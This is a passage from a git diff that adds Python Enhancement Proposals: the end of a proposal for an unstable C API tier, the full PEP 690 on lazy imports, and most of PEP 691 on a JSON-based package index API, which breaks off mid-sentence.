+ +Warning about API that is changed often +--------------------------------------- + +The ``PyCode_New()`` family is an example of functions that are +documented as unstable (“Calling [it] directly can bind you to a precise +Python version”), and also often change in practice. + +Moving it to the unstable tier will make its status obvious even +to people who don't read the docs carefully enough, and will make it +hard to use accidentally. + + +Changes during the Beta period +------------------------------ + +Since the API itself can change continuously up until Beta 1 (feature freeze) +of a minor version, major users of this API are unlikely to test +Alpha releases and provide feedback. +It is very difficult to determine what needs to be exposed as unstable. + +Additions to the unstable tier will count as *stabilization*, +and will be allowed up to Release Candidate 1. + + +Specification +============= + +Several functions and types (“APIs”) will be moved to a new *unstable* tier. + +They will be expected to stay stable across patch releases, +but may change or be removed without warning in minor releases (3.x.0), +including Alpha and Beta releases of 3.x.0. + +When they change significantly, code that uses them should no longer compile +(e.g. arguments should be added/removed, or a function should be renamed, +but the semantic meaning of an argument should not change). + +Their definitions will be moved to a new directory, ``Include/unstable/``, +and will be included from ``Python.h``. + +From Python 3.12 on, these APIs will only be usable when the +``Py_USING_UNSTABLE_API`` macro is defined. +CPython will only define the macro for building CPython itself +(``Py_BUILD_CORE``). + +To make transition to unstable API easier, +in Python 3.11 the APIs will be available without ``Py_USING_UNSTABLE_API`` +defined. In this case, using them will generate a deprecation warning on +compilers that support ``Py_DEPRECATED``. + +A similar deprecation period will be used when making more APIs unstable +in the future: + +- When moving from public API, the deprecation period should follow Python's + backwards compatibility policy (currently, it should last at least + two releases). +- When moving from public API that is documented as unstable, + the deprecation period can only last one release. +- When moving from private API or adding new API, no deprecation period + is necessary. + +Leading underscores will be removed from the names of the moved APIs. +The old underscored name of a renamed API will be available (as an alias +using ``#define``) at least until that API changes. + +The unstable C-API tier and ``Py_USING_UNSTABLE_API`` will be documented, +and documentation of each unstable API will be updated. + + +Adjustments during Beta periods +------------------------------- + +New APIs can be added to the unstable tier, and private APIs can be moved +to it, up to the first release candidate of a new minor version. +Consensus on the ``capi-sig`` or ``python-dev`` is needed in the Beta period. + +In the Beta period, no API may be moved to more private tier, e.g. +what is public in Beta 1 must stay public until the final release. + + +Initial unstable API +-------------------- + +The following API will initially be unstable. +The set may be adjusted for 3.11. + +Code object constructors: + +- ``PyCode_New()`` +- ``PyCode_NewWithPosOnlyArgs()`` + +Frame evaluation API (PEP 523): + +- ``_PyFrameEvalFunction`` +- ``_PyInterpreterState_GetEvalFrameFunc()`` +- ``_PyInterpreterState_SetEvalFrameFunc()`` +- ``_PyEval_RequestCodeExtraIndex()`` +- ``_PyCode_GetExtra()`` +- ``_PyCode_SetExtra()`` +- ``struct _PyInterpreterFrame`` (as an incomplete, opaque struct) +- ``_PyFrame_GetFrameObject`` +- ``PyEval_EvalFrameDefault`` + (new function that calls ``_PyEval_EvalFrameDefault``, but takes + ``PyFrameObject`` rather than ``_PyInterpreterFrame``) + +(Leading underscores will be removed as mentioned above.) + + +Backwards Compatibility +======================= + +The C API backwards compatibility story will be made clearer. + + +How to Teach This +================= + +The changes affect advanced C programmers, who should consult the +updated reference documentation, devguide and/or What's New document·. + + +Reference Implementation +======================== + +https://github.com/python/cpython/issues/91744 + + +Rejected Ideas +============== + +It might be good to add a similar tier in the Python (not C) API, +e.g. for ``types.CodeType``. +However, the opt-in mechanism would need to be different (if any). +This is outside the scope of the PEP. + + +Open Issues +=========== + +The exact set of exposed API may change. + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0690.rst b/pep-0690.rst new file mode 100644 index 00000000000..0a69c8101f6 --- /dev/null +++ b/pep-0690.rst @@ -0,0 +1,486 @@ +PEP: 690 +Title: Lazy Imports +Author: Germán Méndez Bravo , Carl Meyer +Sponsor: Barry Warsaw +Discussions-To: https://discuss.python.org/t/pep-690-lazy-imports/15474 +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 29-Apr-2022 +Python-Version: 3.12 +Post-History: `03-May-2022 `__, + `03-May-2022 `__ + + +Abstract +======== + +This PEP proposes a feature to transparently defer the execution of imported +modules until the moment when an imported object is used. Since Python +programs commonly import many more modules than a single invocation of the +program is likely to use in practice, lazy imports can greatly reduce the +overall number of modules loaded, improving startup time and memory usage. Lazy +imports also mostly eliminate the risk of import cycles. + + +Motivation +========== + +Common Python code style :pep:`prefers <8#imports>` imports at module +level, so they don't have to be repeated within each scope the imported object +is used in, and to avoid the inefficiency of repeated execution of the import +system at runtime. This means that importing the main module of a program +typically results in an immediate cascade of imports of most or all of the +modules that may ever be needed by the program. + +Consider the example of a Python command line program with a number of +subcommands. Each subcommand may perform different tasks, requiring the import +of different dependencies. But a given invocation of the program will only +execute a single subcommand, or possibly none (i.e. if just ``--help`` usage +info is requested). Top-level eager imports in such a program will result in +the import of many modules that will never be used at all; the time spent +(possibly compiling and) executing these modules is pure waste. + +In an effort to improve startup time, some large Python CLIs tools make imports +lazy by manually placing imports inline into functions to delay imports of +expensive subsystems. This manual approach is labor-intensive and fragile; one +misplaced import or refactor can easily undo painstaking optimization work. + +Existing import-hook-based solutions such as `demandimport +`_ or `importlib.util.LazyLoader +`_ +are limited in that only certain styles of import can be made truly lazy +(imports such as ``from foo import a, b`` will still eagerly import the module +``foo``) and they impose additional runtime overhead on every module attribute +access. + +This PEP proposes a more comprehensive solution for lazy imports that does not +impose detectable overhead in real-world use. The implementation in this PEP +has already `demonstrated +`_ +startup time improvements up to 70% and memory-use reductions up to +40% on real-world Python CLIs. + +Lazy imports also eliminate most import cycles. With eager imports, "false +cycles" can easily occur which are fixed by simply moving an import to the +bottom of a module or inline into a function, or switching from ``from foo +import bar`` to ``import foo``. With lazy imports, these "cycles" just work. +The only cycles which will remain are those where two modules actually each use +a name from the other at module level; these "true" cycles are only fixable by +refactoring the classes or functions involved. + + +Rationale +========= + +The aim of this feature is to make imports transparently lazy. "Lazy" means +that the import of a module (execution of the module body and addition of the +module object to ``sys.modules``) should not occur until the module (or a name +imported from it) is actually referenced during execution. "Transparent" means +that besides the delayed import (and necessarily observable effects of that, +such as delayed import side effects and changes to ``sys.modules``), there is +no other observable change in behavior: the imported object is present in the +module namespace as normal and is transparently loaded whenever first used: its +status as a "lazy imported object" is not directly observable from Python or +from C extension code. + +The requirement that the imported object be present in the module namespace as +usual, even before the import has actually occurred, means that we need some +kind of "lazy object" placeholder to represent the not-yet-imported object. +The transparency requirement dictates that this placeholder must never be +visible to Python code; any reference to it must trigger the import and replace +it with the real imported object. + +Given the possibility that Python (or C extension) code may pull objects +directly out of a module ``__dict__``, the only way to reliably prevent +accidental leakage of lazy objects is to have the dictionary itself be +responsible to ensure resolution of lazy objects on lookup. + +To avoid a performance penalty on the vast majority of dictionaries which never +contain any lazy objects, we install a specialized lookup function +(``lookdict_unicode_lazy``) for module namespace dictionaries when they first +gain a lazy-object value. When this lookup function finds that the key +references a lazy object, it resolves the lazy object immediately before +returning it. + +Some operations on dictionaries (e.g. iterating all values) don't go through +the lookup function; in these cases we have to add a check if the lookup +function is ``lookdict_unicode_lazy`` and if so, resolve all lazy values first. + +This implementation comprehensively prevents leakage of lazy objects, ensuring +they are always resolved to the real imported object before anyone can get hold +of them for any use, while avoiding any significant performance impact on +dictionaries in general. + + +Specification +============= + +Lazy imports are opt-in, and globally enabled via a new ``-L`` flag to the +Python interpreter, or a ``PYTHONLAZYIMPORTS`` environment variable. + +When enabled, the loading and execution of all (and only) top level imports is +deferred until the imported name is used. This could happen immediately (e.g. +on the very next line after the import statement) or much later (e.g. while +using the name inside a function being called by some other code at some later +time.) + +For these top level imports, there are two exceptions which will make them +eager (not lazy): imports inside ``try``/``except``/``finally`` or ``with`` +blocks, and star imports (``from foo import *``.) Imports inside +exception-handling blocks (this includes ``with`` blocks, since those can also +"catch" and handle exceptions) remain eager so that any exceptions arising from +the import can be handled. Star imports must remain eager since performing the +import is the only way to know which names should be added to the namespace. + +Imports inside class definitions or inside functions/methods are not "top +level" and are never lazy. + +Dynamic imports using ``__import__()`` or ``importlib.import_module()`` are +also never lazy. + + +Example +------- + +Say we have a module ``spam.py``:: + + # simulate some work + import time + time.sleep(10) + print("spam loaded") + +And a module ``eggs.py`` which imports it:: + + import spam + print("imports done") + +If we run ``python -L eggs.py``, the ``spam`` module will never be imported +(because it is never referenced after the import), ``"spam loaded"`` will never +be printed, and there will be no 10 second delay. + +But if ``eggs.py`` simply references the name ``spam`` after importing it, that +will be enough to trigger the import of ``spam.py``:: + + import spam + print("imports done") + spam + +Now if we run ``python -L eggs.py``, we will see the output ``"imports done"`` +printed first, then a 10 second delay, and then ``"spam loaded"`` printed after +that. + +Of course, in real use cases (especially with lazy imports), it's not +recommended to rely on import side effects like this to trigger real work. This +example is just to clarify the behavior of lazy imports. + + +Debuggability +------------- + +The implementation will ensure that exceptions resulting from a deferred import +have metadata attached pointing the user to the original import statement, to +ease debuggability of errors from lazy imports. + +Additionally, debug logging from ``python -v`` will include logging when an +import statement has been encountered but execution of the import will be +deferred. + +Python's ``-X importtime`` feature for profiling import costs adapts naturally +to lazy imports; the profiled time is the time spent actually importing. + + +Per-module opt out +------------------ + +Due to the backwards compatibility issues mentioned below, it may be necessary +to force some imports to be eager. + +In first-party code, since imports inside a ``try`` or ``with`` block are never +lazy, this can be easily accomplished:: + + try: # force these imports to be eager + import foo + import bar + finally: + pass + +This PEP proposes to add a new ``importlib.eager_imports()`` context manager, +so the above technique can be less verbose and doesn't require comments to +clarify its intent:: + + with eager_imports(): + import foo + import bar + +Since imports within context managers are always eager, the ``eager_imports()`` +context manager can just be an alias to a null context manager. The context +manager does not force all imports to be recursively eager: ``foo`` and ``bar`` +will be imported eagerly, but imports within those modules will still follow +the usual laziness rules. + +The more difficult case can occur if an import in third-party code that can't +easily be modified must be forced to be eager. For this purpose, we propose to +add an API to ``importlib`` that can be called early in the process to specify +a list of module names within which all imports will be eager:: + + from importlib import set_eager_imports + + set_eager_imports(["one.mod", "another"]) + +The effect of this is also shallow: all imports within ``one.mod`` will be +eager, but not imports in all modules imported by ``one.mod``. + +``set_eager_imports()`` can also take a callback which receives a module name and returns +whether imports within this module should be eager:: + + import re + from importlib import set_eager_imports + + def eager_imports(name): + return re.match(r"foo\.[^.]+\.logger", name) + + set_eager_imports(eager_imports) + + +Backwards Compatibility +======================= + +This proposal preserves full backwards compatibility when the feature is +disabled, which is the default. + +Even when enabled, most code will continue to work normally without any +observable change (other than improved startup time and memory usage.) +Namespace packages are not affected: they work just as they do currently, +except lazily. + +In some existing code, lazy imports could produce currently unexpected results +and behaviors. The problems that we may see when enabling lazy imports in an +existing codebase are related to: + + +Import Side Effects +------------------- + +Import side effects that would otherwise be produced by the execution of +imported modules during the execution of import statements will be deferred at +least until the imported objects are used. + +These import side effects may include: + +* code executing any side-effecting logic during import; +* relying on imported submodules being set as attributes in the parent module. + +A relevant and typical affected case is the `click +`_ library for building Python command-line +interfaces. If e.g. ``cli = click.group()`` is defined in ``main.py``, and +``sub.py`` imports ``cli`` from ``main`` and adds subcommands to it via +decorator (``@cli.command(...)``), but the actual ``cli()`` call is in +``main.py``, then lazy imports may prevent the subcommands from being +registered, since in this case Click is depending on side effects of the import +of ``sub.py``. In this case the fix is to ensure the import of ``sub.py`` is +eager, e.g. by using the ``importlib.eager_imports()`` context manager. + + +Dynamic Paths +------------- + +There could be issues related to dynamic Python import paths; particularly, +adding (and then removing after the import) paths from ``sys.path``:: + + sys.path.insert(0, "/path/to/foo/module") + import foo + del sys.path[0] + foo.Bar() + +In this case, with lazy imports enabled, the import of ``foo`` will not +actually occur while the addition to ``sys.path`` is present. + + +Deferred Exceptions +------------------- + +All exceptions arising from import (including ``ModuleNotFoundError``) are +deferred from import time to first-use time, which could complicate debugging. +Accessing an object in the middle of any code could trigger a deferred import +and produce ``ImportError`` or any other exception resulting from the +resolution of the deferred object, while loading and executing the related +imported module. The implementation will provide debugging assistance in +lazy-import-triggered tracebacks to mitigate this issue. + + +Security Implications +===================== + +Deferred execution of code could produce security concerns if process owner, +path, ``sys.path``, or other sensitive environment or contextual states change +between the time the ``import`` statement is executed and the time where the +imported object is used. + + +Performance Impact +================== + +The reference implementation has shown that the feature has negligible +performance impact on existing real-world codebases (Instagram Server and other +several CLI programs at Meta), while providing substantial improvements to +startup time and memory usage. + +The reference implementation shows small performance regressions in a few +pyperformance benchmarks, but improvements in others. (TODO update with +detailed data from 3.11 port of implementation.) + + +How to Teach This +================= + +Since the feature is opt-in, beginners should not encounter it by default. +Documentation of the ``-L`` flag and ``PYTHONLAZYIMPORTS`` environment variable +can clarify the behavior of lazy imports. + +Some best practices to deal with some of the issues that could arise and to +better take advantage of lazy imports are: + +* Avoid relying on import side effects. Perhaps the most common reliance on + import side effects is the registry pattern, where population of some + external registry happens implicitly during the importing of modules, often + via decorators. Instead, the registry should be built via an explicit call + that perhaps does a discovery process to find decorated functions or classes. + +* Always import needed submodules explicitly, don't rely on some other import + to ensure a module has its submodules as attributes. That is, do ``import + foo.bar; foo.bar.Baz``, not ``import foo; foo.bar.Baz``. The latter only + works (unreliably) because the attribute ``foo.bar`` is added as a side + effect of ``foo.bar`` being imported somewhere else. With lazy imports this + may not always happen on time. + +* Avoid using star imports, as those are always eager. + +* When possible, do not import whole submodules. Import specific names instead; + i.e.: do ``from foo.bar import Baz``, not ``import foo.bar`` and then + ``foo.bar.Baz``. If you import submodules (such as ``foo.qux`` and + ``foo.fred``), with lazy imports enabled, when you access the parent module's + name (``foo`` in this case), that will trigger loading all of the sibling + submodules of the parent module (``foo.bar``, ``foo.qux`` and ``foo.fred``), + not only the one being accessed, because the parent module ``foo`` is the + actual deferred object name. + + +Reference Implementation +======================== + +The current reference implementation is available as part of +`Cinder `_. +Reference implementation is in use within Meta Platforms and has proven to +achieve improvements in startup time (and total runtime for some applications) +in the range of 40%-70%, as well as significant reduction in memory footprint +(up to 40%), thanks to not needing to execute imports that end up being unused +in the common flow. + + +Rejected Ideas +============== + +Per-module opt-in +----------------- + +A per-module opt-in using e.g. ``from __future__ import lazy_imports`` has a +couple of disadvantages: + +* It is less practical to achieve robust and significant startup-time or + memory-use wins by piecemeal application of lazy imports. Generally it would + require blanket application of the ``__future__`` import to most of the + codebase, as well as to third-party dependencies (which may be hard or + impossible.) + +* ``__future__`` imports are not feature flags, they are for transition to + behaviors which will become default in the future. It is not clear if lazy + imports will ever make sense as the default behavior, so we should not + promise this with a ``__future__`` import. Thus, a per-module opt-in would + require a new ``from __optional_features__ import lazy_imports`` or similar + mechanism. + +Experience with the reference implementation suggests that the most practical +adoption path for lazy imports is for a specific deployed application to opt-in +globally, observe whether anything breaks, and opt-out specific modules as +needed to account for e.g. reliance on import side effects. + + +Explicit syntax for lazy imports +-------------------------------- + +If the primary objective of lazy imports were solely to work around import +cycles and forward references, an explicitly-marked syntax for particular +targeted imports to be lazy would make a lot of sense. But in practice it would +be very hard to get robust startup time or memory use benefits from this +approach, since it would require converting most imports within your code base +(and in third-party dependencies) to use the lazy import syntax. + +It would be possible to aim for a "shallow" laziness where only the top-level +imports of subsystems from the main module are made explicitly lazy, but then +imports within the subsystems are all eager. This is extremely fragile, though +-- it only takes one mis-placed import to undo the carefully constructed +shallow laziness. Globally enabling lazy imports, on the other hand, provides +in-depth robust laziness where you always pay only for the imports you use. + + +Half-lazy imports +----------------- + +It would be possible to eagerly run the import loader to the point of finding +the module source, but then defer the actual execution of the module and +creation of the module object. The advantage of this would be that certain +classes of import errors (e.g. a simple typo in the module name) would be +caught eagerly instead of being deferred to the use of an imported name. + +The disadvantage would be that the startup time benefits of lazy imports would +be significantly reduced, since unused imports would still require a filesystem +``stat()`` call, at least. It would also introduce a possibly non-obvious split +between *which* import errors are raised eagerly and which are delayed, when +lazy imports are enabled. + +This idea is rejected for now on the basis that in practice, confusion about +import typos has not been an observed problem with the reference +implementation. Generally delayed imports are not delayed forever, and errors +show up soon enough to be caught and fixed (unless the import is truly unused.) + + +Lazy dynamic imports +-------------------- + +It would be possible to add a ``lazy=True`` or similar option to +``__import__()`` and/or ``importlib.import_module()``, to enable them to +perform lazy imports. That idea is rejected in this PEP for lack of a clear +use case. Dynamic imports are already far outside the :pep:`8` code style +recommendations for imports, and can easily be made precisely as lazy as +desired by placing them at the desired point in the code flow. These aren't +commonly used at module top level, which is where lazy imports applies. + + +Deep eager-imports override +--------------------------- + +The proposed ``importlib.eager_imports()`` context manager and +``importlib.set_eager_imports()`` override both have shallow effects: they only +force eagerness for the location where they are applied, not transitively. It +would be possible (although not simple) to provide a deep/transitive version of +one or both. That idea is rejected in this PEP because experience with the +reference implementation has not shown it to be necessary, and because it +prevents local reasoning about laziness of imports. + +A deep override can lead to confusing behavior because the +transitively-imported modules may be imported from multiple locations, some of +which use the "deep eager override" and some of which don't. Thus those modules +may still be imported lazily initially, if they are first imported from a +location that doesn't have the override. + +With deep overrides it is not possible to locally reason about whether a given +import will be lazy or eager. With the behavior specified in this PEP, such +local reasoning is possible. + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. diff --git a/pep-0691.rst b/pep-0691.rst new file mode 100644 index 00000000000..a962c4007c9 --- /dev/null +++ b/pep-0691.rst @@ -0,0 +1,1043 @@ +PEP: 691 +Title: JSON-based Simple API for Python Package Indexes +Author: Donald Stufft , + Pradyun Gedam , + Cooper Lees , + Dustin Ingram +PEP-Delegate: Brett Cannon +Discussions-To: https://discuss.python.org/t/pep-691-json-based-simple-api-for-python-package-indexes/15553 +Status: Accepted +Type: Standards Track +Topic: Packaging +Content-Type: text/x-rst +Created: 04-May-2022 +Post-History: `05-May-2022 `__ +Resolution: https://discuss.python.org/t/pep-691-json-based-simple-api-for-python-package-indexes/15553/70 + + +Abstract +======== + +The "Simple Repository API" that was defined in :pep:`503` (and was in use much +longer than that) has served us reasonably well for a very long time. However, +the reliance on using HTML as the data exchange mechanism has several +shortcomings. + +There are two major issues with an HTML-based API: + +- While HTML5 is a standard, it's an incredibly complex standard and ensuring + completely correct parsing of it involves complex logic that does not + currently exist within the Python standard library (nor the standard library + of many other languages). + + This means that to actually accept everything that is technically valid, tools + have to pull in large dependencies or they have to rely on the standard library's + ``html.parser`` library, which is lighter weight but potentially doesn't + fully support HTML5. + +- HTML5 is primarily designed as a markup language to present documents for human + consumption. Our use of it is driven largely for historical and accidental + reasons, and it's unlikely anyone would design an API that relied on it if + they were starting from scratch. + + The primary issue with using a markup format designed for human consumption + is that there's not a great way to actually encode data within HTML. We've + gotten around this by limiting the data we put in this API and being creative + with how we can cram data into the API (for instance, hashes are embedded as + URL fragments, adding the ``data-yanked`` attribute in :pep:`592`). + +:pep:`503` was largely an attempt to standardize what was already in use, so it +did not propose any large changes to the API. + +In the intervening years, we've regularly talked about an "API V2" that would +re-envision the entire API of PyPI. However, due to limited time constraints, +that effort has not gained much, if, any traction beyond people thinking that +it would be nice to do. + +This PEP attempts to take a different route. It doesn't fundamentally change +the overall API structure, but instead specifies a new serialization of the +existing data contained in existing :pep:`503` responses in a format that is +easier for software to parse rather than using a human centric document format. + + +Goals +===== + +- **Enable zero configuration discovery.** Clients of the simple API **MUST** be + able to gracefully determine whether a target repository supports this PEP + without relying on any form of out of band communication (configuration, prior + knowledge, etc). Individual clients **MAY** choose to require configuration + to enable the use of this API, however. +- **Enable clients to drop support for "legacy" HTML parsing.** While it is expected + that most clients will keep supporting HTML-only repositories for a while, if not + forever, it should be possible for a client to choose to support only the new + API formats and no longer invoke an HTML parser. +- **Enable repositories to drop support for "legacy" HTML formats.** Similar to + clients, it is expected that most repositories will continue to support HTML + responses for a long time, or forever. It should be possible for a repository to + choose to only support the new formats. +- **Maintain full support for existing HTML-only clients.** We **MUST** not break + existing clients that are accessing the API as a strictly :pep:`503` API. The only + exception to this, is if the repository itself has chosen to no longer support + the HTML format. +- **Minimal additional HTTP requests.** Using this API **MUST** not drastically + increase the amount of HTTP requests an installer must do in order to function. + Ideally it will require 0 additional requests, but if needed it may require one + or two additional requests (total, not per dependency). +- **Minimal additional unique reponses.** Due to the nature of how large + repositories like PyPI cache responses, this PEP should not introduce a + significantly or combinatorially large number of additional unique responses + that the repository may produce. +- **Supports TUF.** This PEP **MUST** be able to function within the bounds of + what TUF can support (:pep:`458`), and must be able to be secured using it. +- **Require only the standard library, or small external dependencies for clients.** + Parsing an API response should ideally require nothing but the standard + library, however it would be acceptable to require a small, pure Python + dependency. + + +Specification +============= + +To enable parsing responses with only the standard library, this PEP specifies that +all responses (besides the files themselves, and the HTML responses from +:pep:`503`) should be serialized using `JSON `_. + +To enable zero configuration discovery and to minimize the amount of additional HTTP +requests, this PEP extends :pep:`503` such that all of the API endpoints (other than the +files themselves) will utilize HTTP content negotiation to allow client and server to +select the correct serialization format to serve, i.e. either HTML or JSON. + + +Versioning +---------- + +Versioning will adhere to :pep:`629` format (``Major.Minor``), which has defined the +existing HTML responses to be ``1.0``. Since this PEP does not introduce new features +into the API, rather it describes a different serialization format for the existing +features, this PEP does not change the existing ``1.0`` version, and instead just +describes how to serialize that into JSON. + +Similar to :pep:`629`, the major version number **MUST** be incremented if any +changes to the new format would result in no longer being able to expect existing +clients to meaningfully understand the format. + +Likewise, incrementing the minor version **MUST** be incremented if features are +added or removed from the format, but existing clients would be expected to continue +to meaningfully understand the format. + +Changes that would not result in existing clients being unable to meaningfully +understand the format and which do not represent features being added or removed +may occur without changing the version number. + +This is intentionally vague, as this PEP believes it is best left up to future PEPs +that make any changes to the API to investigate and decide whether or not that +change should increment the major or minor version. + +Future versions of the API may add things that can only be represented in a subset +of the available serializations of that version. All serializations version numbers, +within a major version, **SHOULD** be kept in sync, but the specifics of how a +feature serializes into each format may differ, including whether or not that feature +is present at all. + +It is the intent of this PEP that the API should be thought of as URL endpoints that +return data, whose interpretation is defined by the version of that data, and then +serialized into the target serialization format. + + +.. _json-serialization: + +JSON Serialization +------------------ + +The URL structure from :pep:`503` still applies, as this PEP only adds an additional +serialization format for the already existing API. + +The following constraints apply to all JSON serialized responses described in this +PEP: + +* All JSON responses will *always* be a JSON object rather than an array or other + type. + +* While JSON doesn't natively support an URL type, any value that represents an + URL in this API may be either absolute or relative as long as they point to + the correct location. If relative, they are relative to the current URL as if + it were HTML. + +* Additional keys may be added to any dictionary objects in the API responses + and clients **MUST** ignore keys that they don't understand. + +* All JSON responses will have a ``meta`` key, which contains information related to + the response itself, rather than the content of the response. + +* All JSON responses will have a ``meta.api-version`` key, which will be a string that + contains the :pep:`629` ``Major.Minor`` version number, with the same fail/warn + semantics as in :pep:`629`. + +* All requirements of :pep:`503` that are not HTML specific still apply. + + +Project List +~~~~~~~~~~~~ + +The root URL ``/`` for this PEP (which represents the base URL) will be a JSON encoded +dictionary which has a single key, ``projects``, which is an array where each entry +is a dictionary with a single key, ``name``, which represents string of the project +name. As an example: + +.. code-block:: json + + { + "meta": { + "api-version": "1.0" + }, + "projects": [ + {"name": "Frob"}, + {"name": "spamspamspam"}, + ] + } + + +.. note:: + + The ``name`` field is the same as the one from :pep:`503`, which does not specify + whether it is the non-normalized display name or the normalized name. In practice + different implementations of these PEPs are choosing differently here, so relying + on it being either non-normalized or normalized is relying on an implementation + detail of the repository in question. + + +.. note:: + + While the ``projects`` key is an array, and thus is required to be in some kind + of an order, neither :pep:`503` nor this PEP requires any specific ordering nor + that the ordering is consistent from one request to the next. Mentally this is + best thought of as a set, but both JSON and HTML lack the functionality to have + sets. + + +Project Detail +~~~~~~~~~~~~~~ + +The format of this URL is ``//`` where the ```` is replaced by the +:pep:`503` normalized name for that project, so a project named "Silly_Walk" would +have a URL like ``/silly-walk/``. + +This URL must respond with a JSON encoded dictionary that has three keys: + +- ``name``: The normalized name of the project. +- ``files``: A list of dictionaries, each one representing an individual file. +- ``meta``: The general response metadata as `described earlier `__. + +Each individual file dictionary has the following keys: + +- ``filename``: The filename that is being represented. +- ``url``: The URL that the file can be fetched from. +- ``hashes``: A dictionary mapping a hash name to a hex encoded digest of the file. + Multiple hashes can be included, and it is up to the client to decide what to do + with multiple hashes (it may validate all of them or a subset of them, or nothing + at all). These hash names **SHOULD** always be normalized to be lowercase. + + The ``hashes`` dictionary **MUST** be present, even if no hashes are available + for the file, however it is **HIGHLY** recommended that at least one secure, + guaranteed-to-be-available hash is always included. + + By default, any hash algorithm available via `hashlib + `_ (specifically any that can + be passed to ``hashlib.new()`` and do not require additional parameters) can + be used as a key for the hashes dictionary. At least one secure algorithm from + ``hashlib.algorithms_guaranteed`` **SHOULD** always be included. At the time + of this PEP, ``sha256`` specifically is recommended. +- ``requires-python``: An **optional** key that exposes the *Requires-Python* + metadata field, specified in :pep:`345`. Where this is present, installer tools + **SHOULD** ignore the download when installing to a Python version that + doesn't satisfy the requirement. + + Unlike ``data-requires-python`` in :pep:`503`, the ``requires-python`` key does not + require any special escaping other than anything JSON does naturally. +- ``dist-info-metadata``: An **optional** key that indicates + that metadata for this file is available, via the same location as specified in + :pep:`658` (``{file_url}.metadata``). Where this is present, it **MUST** be + either a boolean to indicate if the file has an associated metadata file, or a + dictionary mapping hash names to a hex encoded digest of the metadata's hash. + + When this is a dictionary of hashes instead of a boolean, then all the same + requirements and recommendations as the ``hashes`` key hold true for this key as + well. + + If this key is missing then the metadata file may or may not exist. If the key + value is truthy, then the metadata file is present, and if it is falsey then it + is not. + + It is recommended that servers make the hashes of the metadata file available if + possible. +- ``gpg-sig``: An **optional** key that acts a boolean to indicate if the file has + an associated GPG signature or not. The URL for the signature file follows what + is specified in :pep:`503` (``{file_url}.asc``). If this key does not exist, then + the signature may or may not exist. +- ``yanked``: An **optional** key which may be either a boolean to indicate if the + file has been yanked, or a non empty, but otherwise arbitrary, string to indicate + that a file has been yanked with a specific reason. If the ``yanked`` key is present + and is a truthy value, then it **SHOULD** be interpreted as indicating that the + file pointed to by the ``url`` field has been "Yanked" as per :pep:`592`. + +As an example: + +.. code-block:: json + + { + "meta": { + "api-version": "1.0" + }, + "name": "holygrail", + "files": [ + { + "filename": "holygrail-1.0.tar.gz", + "url": "https://example.com/files/holygrail-1.0.tar.gz", + "hashes": {"sha256": "...", "blake2b": "..."}, + "requires-python": ">=3.7", + "yanked": "Had a vulnerability" + }, + { + "filename": "holygrail-1.0-py3-none-any.whl", + "url": "https://example.com/files/holygrail-1.0-py3-none-any.whl", + "hashes": {"sha256": "...", "blake2b": "..."}, + "requires-python": ">=3.7", + "dist-info-metadata": true + } + ] + } + + +.. note:: + + While the ``files`` key is an array, and thus is required to be in some kind + of an order, neither :pep:`503` nor this PEP requires any specific ordering nor + that the ordering is consistent from one request to the next. Mentally this is + best thought of as a set, but both JSON and HTML lack the functionality to have + sets. + + +Content-Types +------------- + +This PEP proposes that all responses from the Simple API will have a standard +content type that describes what the response is (a Simple API response), what +version of the API it represents, and what serialization format has been used. + +The structure of this content type will be: + +.. code-block:: text + + application/vnd.pypi.simple.$version+format + +Since only major versions should be disruptive to clients attempting to +understand one of these API responses, only the major version will be included +in the content type, and will be prefixed with a ``v`` to clarify that it is a +version number. + +Which means that for the existing 1.0 API, the content types would be: + +- **JSON:** ``application/vnd.pypi.simple.v1+json`` +- **HTML:** ``application/vnd.pypi.simple.v1+html`` + +In addition to the above, a special "meta" version is supported named ``latest``, +whose purpose is to allow clients to request the absolute latest version, without +having to know ahead of time what that version is. It is recommended however, +that clients be explicit about what versions they support. + +To support existing clients which expect the existing :pep:`503` API responses to +use the ``text/html`` content type, this PEP further defines ``text/html`` as an alias +for the ``application/vnd.pypi.simple.v1+html`` content type. + + +Version + Format Selection +-------------------------- + +Now that there is multiple possible serializations, we need a mechanism to allow +clients to indicate what serialization formats that they're able to understand. In +addition, it would be a benefit if any possible new major version to the API can +be added without disrupting existing clients expecting the previous API version. + +To enable this, this PEP standardizes on the use of HTTP's +`Server-Driven Content Negotiation `_. + +While this PEP won't fully describe the entirety of server-driven content +negotiation, the flow is roughly: + +1. The client makes an HTTP request containing an ``Accept`` header listing all + of the version+format content types that they are able to understand. +2. The server inspects that header, selects one of the listed content types, + then returns a response using that content type (treating the absence of + an ``Accept`` header as ``Accept: */*``). +3. If the server does not support any of the content types in the ``Accept`` + header then they are able to choose between 3 different options for how to + respond: + + a. Select a default content type other than what the client has requested + and return a response with that. + b. Return a HTTP ``406 Not Acceptable`` response to indicate that none of + the requested content types were available, and the server was unable + or unwilling to select a default content type to respond with. + c. Return a HTTP ``300 Multiple Choices`` response that contains a list of + all of the possible responses that could have been chosen. +4. The client interprets the response, handling the different types of responses + that the server may have responded with. + +This PEP does not specify which choices the server makes in regards to handling +a content type that it isn't able to return, and clients **SHOULD** be prepared +to handle all of the possible responses in whatever way makes the most sense for +that client. + +However, as there is no standard format for how a ``300 Multiple Choices`` +response can be interpreted, this PEP highly discourages servers from utilizing +that option, as clients will have no way to understand and select a different +content-type to request. In addition, it's unlikely that the client *could* +understand a different content type anyways, so at best this response would +likely just be treated the same as a ``406 Not Acceptable`` error. + +This PEP **does** require that if the meta version ``latest`` is being used, the +server **MUST** respond with the content type for the actual version that is +contained in the response +(i.e. A ``Accept: application/vnd.pypi.simple.latest+json`` request that returns +a ``v1.x`` response should have a ``Content-Type`` of +``application/vnd.pypi.simple.v1+json``). + +The ``Accept`` header is a comma separated list of content types that the client +understands and is able to process. It supports three different formats for each +content type that is being requested: + +- ``$type/$subtype`` +- ``$type/*`` +- ``*/*`` + +For the use of selecting a version+format, the most useful of these is +``$type/$subtype``, as that is the only way to actually specify the version +and format you want. + +The order of the content types listed in the ``Accept`` header does not have any +specific meaning, and the server **SHOULD** consider all of them to be equally +valid to respond with. If a client wishes to specify that they prefer a specific +content type over another, they may use the ``Accept`` header's +`quality value `_ +syntax. + +This allows a client to specify a priority for a specific entry in their +``Accept`` header, by appending a ``;q=`` followed by a value between ``0`` and +``1`` inclusive, with up to 3 decimal digits. When interpreting this value, +an entry 